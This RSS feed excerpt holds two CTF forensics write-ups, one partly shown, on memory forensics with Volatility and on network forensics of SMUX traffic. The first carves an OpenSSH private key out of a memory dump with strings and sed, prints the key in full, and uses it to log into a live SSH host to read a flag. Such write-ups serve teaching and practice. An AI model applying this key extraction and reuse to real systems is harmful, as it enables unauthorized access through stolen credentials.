src="https://cdn-images-1.medium.com/max/829/1*2xJo9htM-8eZn37WgyQBrA.png" /></figure><p>after that clone and build dwarf2json from the volatility repository.</p><pre>git clone https://github.com/volatilityfoundation/dwarf2json<br>cd dwarf2json/<br>go mod download github.com/spf13/pflag<br>go build</pre><p>Finally create a symbol table profile with linux debug in the /usr/lib/debug/boot/ directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*sl4GBR6NSU3r0lbz8tENTw.png" /></figure><p>and copy the created json file to the linux symbol folder in the volatility directory.<br>A few tips from the events that I experienced were to prepare enough storage and ram, because I had experienced problems in that regard.</p><h4>Read the memory</h4><p>After the process is complete, go back to volatility and run linux related plugins to find more information. <br>You can start by looking at the bash history.</p><pre>python3 vol.py -f ../../ctf/autobahnctf/orange/orange.mem linux.bash.Bash<br>Volatility 3 Framework 2.4.1<br>Progress:  100.00               Stacking attempts finished<br>PID     Process CommandTime     Command<br><br>1987    bash    2023-02-17 19:06:54.000000      ssh-keygen -t ed25519 -C moeslh<br>1987    bash    2023-02-17 19:06:54.000000      uname -r<br>1987    bash    2023-02-17 19:06:54.000000      ls -la<br>1987    bash    2023-02-17 19:10:11.000000      cd .ssh<br>1987    bash    2023-02-17 19:10:12.000000      rcmoeslh@al<br>1987    bash    2023-02-17 19:10:12.000000      GTK_MODULES=gail:atk-bridge<br>1987    bash    2023-02-17 19:10:12.000000      ls<br>1987    bash    2023-02-17 19:10:15.000000      cat id_ed25519<br>1987    bash    2023-02-17 19:10:32.000000      cat id_ed25519.pub<br>1987    bash    2023-02-17 19:10:36.000000      cd ..<br>1987    bash    2023-02-17 19:12:39.000000      sudo apt install git make<br>1987    bash    2023-02-17 19:12:55.000000      sudo apt install gcc -y<br>1987    bash    2023-02-17 19:13:42.000000      git clone https://github.com/504ensicsLabs/LiME.git<br>1987    bash    2023-02-17 19:13:54.000000      cd LiME/src<br>1987    bash    2023-02-17 19:13:56.000000      make<br>1987    bash    2023-02-17 19:14:29.000000      lsmod | grep lime<br>1987    bash    2023-02-17 19:15:15.000000      insmod ./lime-5.19.0-32-generic.ko &quot;path=../moeslh.mem format=lime&quot;<br>1987    bash    2023-02-17 19:15:23.000000      sudo insmod ./lime-5.19.0-32-generic.ko &quot;path=../moeslh.mem format=lime&quot;<br>1987    bash    2023-02-17 19:15:33.000000      ls ..<br>1987    bash    2023-02-17 19:15:38.000000      ls -la ..<br>1987    bash    2023-02-17 19:16:27.000000      rm -rf ../moeslh.mem<br>1987    bash    2023-02-17 19:18:29.000000      ssh moeslh@52.77.200.197 -p 18002<br>1987    bash    2023-02-17 19:18:58.000000      rmmod lime<br>1987    bash    2023-02-17 19:19:05.000000      sudo rmmod lime<br>1987    bash    2023-02-17 19:19:19.000000      lsmod | grep lime<br>1987    bash    2023-02-17 19:19:25.000000      sudo insmod ./lime-5.19.0-32-generic.ko &quot;path=../moeslh.mem format=lime&quot;<br>1987    bash    2023-02-17 19:19:35.000000      sudo insmod ./lime-5.19.0-32-generic.ko &quot;path=../moeslh.mem format=raw&quot;<br>1987    bash    2023-02-17 19:19:45.000000      sudo rmmod lime<br>1987    bash    2023-02-17 19:19:48.000000      lsmod | grep lime<br>1987    bash    2023-02-17 19:19:51.000000      sudo insmod ./lime-5.19.0-32-generic.ko &quot;path=../moeslh.mem format=raw&quot;<br>1987    bash    2023-02-17 19:20:07.000000      ls -la ..<br>1987    bash    2023-02-17 19:20:11.000000      lsmod | grep lime<br>1987    bash    2023-02-17 19:20:17.000000      sudo rmmod lime<br>1987    bash    2023-02-17 19:20:40.000000      sudo insmod ./lime-5.19.0-32-generic.ko &quot;path=../moeslh-l.mem format=lime&quot;</pre><p>identified some information, such as users and activities performed.<br>The user is seen doing ssh activities. and then perform the memory dump process using <a href="https://github.com/504ensicsLabs/LiME.git">liME</a>.</p><p>From the information obtained, no information about the flag was found. Then I tried to identify the ssh server done by the user, and it looks still active.</p><pre>nc 52.77.200.197 18002<br>SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1</pre><p>the most likely thing is to find out the communication carried out during the ssh process. Because the user uses id_ed25519 private key. we find out the use of ssh keygen here.</p><p>Trying to manually search the private key using recognizing the known signature, and find them</p><pre>strings orange/orange.mem | sed -n -e &#39;/BEGIN OPENSSH/,/END OPENSSH/ p&#39;<br>...<br>...<br>-----BEGIN OPENSSH PRIVATE KEY-----<br>b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW<br>QyNTUxOQAAACD3eUbWoKFww/GO1sUKVxgqcqpLKINUiL62pez9Sfoa2wAAAJCDyUIsg8lC<br>LAAAAAtzc2gtZWQyNTUxOQAAACD3eUbWoKFww/GO1sUKVxgqcqpLKINUiL62pez9Sfoa2w<br>AAAEBMcvp0cSgjsQaMpxQR8EVefDdwVUY30wSWAowE7FRYg/d5RtagoXDD8Y7WxQpXGCpy<br>qksog1SIvral7P1J+hrbAAAABm1vZXNsaAECAwQFBgc=<br>-----END OPENSSH PRIVATE KEY-----</pre><p>after finding the private key. we use the private key to connect to the ssh done by the user.</p><pre>sudo chmod 700 ~/.ssh/moeslh_key<br>ssh -i ~/.ssh/moeslh_key moeslh@52.77.200.197 -p 18002<br>Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-1030-aws x86_64)<br><br> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/advantage<br><br>This system has been minimized by removing packages and content that are<br>not required on a system that users do not log into.<br><br>To restore this content, you can run the &#39;unminimize&#39; command.<br>Last login: Mon Feb 27 04:34:09 2023 from 182.1.101.152<br>$ lss<br>-sh: 1: lss: not found<br>$ ls<br>$<br>$ ls -la<br>total 48<br>drwxr-x--- 1 moeslh ctf  4096 Feb 25 16:48 .<br>drwxr-xr-x 1 root   root 4096 Feb 20 10:23 ..<br>-rw------- 1 moeslh ctf  1386 Feb 26 10:07 .bash_history<br>-rw-r--r-- 1 moeslh ctf   220 Jan  6  2022 .bash_logout<br>-rw-r--r-- 1 moeslh ctf  3771 Jan  6  2022 .bashrc<br>drwx------ 2 moeslh ctf  4096 Feb 20 10:38 .cache<br>-rw-r--r-- 1 moeslh ctf   807 Jan  6  2022 .profile<br>drwx------ 1 moeslh ctf  4096 Feb 20 10:23 .ssh<br>-rw-r--r-- 1 moeslh ctf   165 Feb 25 04:22 .wget-hsts<br>$ cd ..<br>$ ls<br>TALK_HERE  moeslh<br>$ cat moeslh<br>cat: moeslh: Is a directory<br>$ ls moeslh<br>$ cat TALK_HERE<br>1 : roger moeslh<br>2 : yo I&#39;m here<br>1 : can we do &#39;solar-wind&#39; operation right now?<br>2 : i think we can<br>1 : ok, cool<br>1 : so can we do it on 11 or 12 march?<br>2 : gas sambit<br><br>ABC{f12e7a24f76e2e42eb7b5df03fa14fab}$</pre><p>and rightly found a file containing the flags we are looking for.</p><p>Thanks to the ctf implementer and problem setter, especially because there is learning related to the application of kernel versions and symbol tables to maximize tools so that they don’t rely too easily on tools alone.</p><p>Reference:</p><p><a href="http://ddebs.ubuntu.com/pool/main/l/linux-hwe-5.19/">Index of /pool/main/l/linux-hwe-5.19 (ubuntu.com)</a><br><a href="https://beguier.eu/nicolas/articles/security-tips-3-volatility-linux-profiles.html">Security Post-it #3 — Volatility Linux Profiles (beguier.eu)</a><br><a href="https://blog.onfvp.com/post/volatility-cheatsheet/">Volatility 3 CheatSheet — onfvpBlog [Ashley Pearson]</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8f711a4ed4d1" width="1" height="1" alt=""><hr><p><a href="https://medium.com/fmisec/memory-forensic-linux-kernel-confusion-8f711a4ed4d1">Memory Forensic — Linux Kernel Confusion</a> was originally published in <a href="https://medium.com/fmisec">FMI Cyber Security Consulting Services</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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            <title><![CDATA[Network Forensic — SMUX Protocol]]></title>
            <link>https://medium.com/fmisec/network-forensic-smux-protocol-8d1bc56571d6?source=rss-e9571db85386------2</link>
            <guid isPermaLink="false">https://medium.com/p/8d1bc56571d6</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[network-security]]></category>
            <dc:creator><![CDATA[Faishol Hakim]]></dc:creator>
            <pubDate>Sun, 05 Mar 2023 12:37:44 GMT</pubDate>
            <atom:updated>2023-03-05T12:37:44.510Z</atom:updated>
            <content:encoded><![CDATA[<h3>Network Forensic — SMUX Protocol</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*X5eTm7PJV4bf2WMI.png" /></figure><p>This topic come from one of the digital forensics category challenges held by Autobahn Security. This time I will discuss the category of network forensics. This challenge completed a few days after the competition is over :(</p><h4>The brief of this challenge is as follows.</h4><blockquote>We captured a lot of suspicious HTTP requests last month on one of our websites which hasn’t been maintained since end of 2022. Unfortunately, the website is no longer accessible at this time. Can you analyze what happened?</blockquote><p>Given a pcapng file, which contains dump traffic. With another approach Im trying to read the file using binwalk, might be able to find interesting files there. and right, feeling there is hope this way.</p><pre>binwalk -ev chall.pcapng<br><br>Target File:   /mnt/e/cybersecurity/ctf/autobahn/chall.pcapng<br>MD5 Checksum:  4a35d3d43922a9cddc8e92825f58a9a3<br>Signatures:    391<br><br>DECIMAL       HEXADECIMAL     DESCRIPTION<br>--------------------------------------------------------------------------------<br>916           0x394           JPEG image data, JFIF standard 1.01<br>361424        0x583D0         JPEG image data, JFIF standard 1.01<br>727664        0xB1A70         JPEG image data, JFIF standard 1.01<br>1488544       0x16B6A0        JPEG image data, JFIF standard 1.01<br>2315784       0x235608        JPEG image data, JFIF standard 1.01<br>2935624       0x2CCB48        JPEG image data, JFIF standard 1.01<br>3387360       0x33AFE0        JPEG image data, JFIF standard 1.01<br>3848028       0x3AB75C        JPEG image data, JFIF standard 1.01<br>4234312       0x409C48        JPEG image data, JFIF standard 1.01<br>4729320       0x4829E8        JPEG image data, JFIF standard 1.01</pre><p>Try to force extract all this jpeg file. But there’s only broken image like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*qdCTlrnu_yGfWBSZGEZumw.png" /></figure><p>So the next step is identifying the general information that occurs in the traffic. This can be done using wireshark or its cli version, tshark.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*oliznno4xxsDFjJS-Wnu5A.png" /></figure><p>From the information found, it appears that most packets originate from tcp port 3000</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JRSK9QtF-d7lPJlKPRPVcA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*uw-YhOEjdLb8rFIGKAB4bw.png" /></figure><p>Other information was also found when identifying the hex value of the packet, the SMUX string was seen in the packet. After searching for references related to the SMUX string, it is known that smux is one of SNMP, or another name is SNMP Multiplexing. Also based on the reference, SMUX peers, such as gated, when started, will establish the connection to TCP 199 and will initialize the SMUX association.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*1fjTxK6PuCZqt5hL0oIt6A.png" /></figure><p>Because the description initiates a connection with tcp, we try mapping the traffic data on smux to the tcp payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*re3u4vkP_Oi5VUKpXl1HmA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HniGcfsl69XBw6A6tNtATQ.png" /></figure><p>After that we try to extract the tcp payload. This can be done by selecting all smux-filtered packets, and limiting the length of tcp.payload above 116. <br>Save in tcpdump format, and use tcpdump to extract in raw form.</p><pre>tcpdump -r smux.pcapng -w extract2 -s 0</pre><p>Alternatively, we can use tshark to do the extraction.</p><pre>tshark -r chall.pcapng -d &#39;tcp.port==3000,smux&#39; -Y&#39;smux and frame.len&gt;116&#39;<br>-Tfields -e tcp.payload | xxd -r -p &gt; extract2</pre><p>try to read the file, look at the signature jpeg file there. try using foremost, or binwalk. and see if the data corresponds to the flag we are looking for.</p><pre>binwalk extract2<br><br>DECIMAL       HEXADECIMAL     DESCRIPTION<br>--------------------------------------------------------------------------------<br>8             0x8             JPEG image data, JFIF standard 1.01<br>355498        0x56CAA         JPEG image data, JFIF standard 1.01<br>715733        0xAEBD5         JPEG image data, JFIF standard 1.01<br>1464827       0x1659FB        JPEG image data, JFIF standard 1.01<br>2278105       0x22C2D9        JPEG image data, JFIF standard 1.01<br>2887518       0x2C0F5E        JPEG image data, JFIF standard 1.01<br>3331011       0x32D3C3        JPEG image data, JFIF standard 1.01<br>3783789       0x39BC6D        JPEG image data, JFIF standard 1.01<br>4163921       0x3F8951        JPEG image data, JFIF standard 1.01<br>4651008       0x46F800        JPEG image data, JFIF standard 1.01</pre><p>it turns out that the flag was found in one of the successfully extracted images.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D6ud5Ft-KJfvMTiNNk58tQ.png" /></figure><p>thanks to the organizers for providing an understanding of the need for protocol insight and the ability to read documentation, foresight in reading and identifying is also important.</p><p>References:<br><a href="http://osr507doc.sco.com/en/netguide/smuxC.works.html">How the SMUX protocol works (sco.com)</a><br>https://www.ietf.org/rfc/rfc1227.txt<br>chat.openai.com</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8d1bc56571d6" width="1" height="1" alt=""><hr><p><a href="https://medium.com/fmisec/network-forensic-smux-protocol-8d1bc56571d6">Network Forensic — SMUX Protocol</a> was originally published in <a href="https://medium.com/fmisec">FMI Cyber Security Consulting Services</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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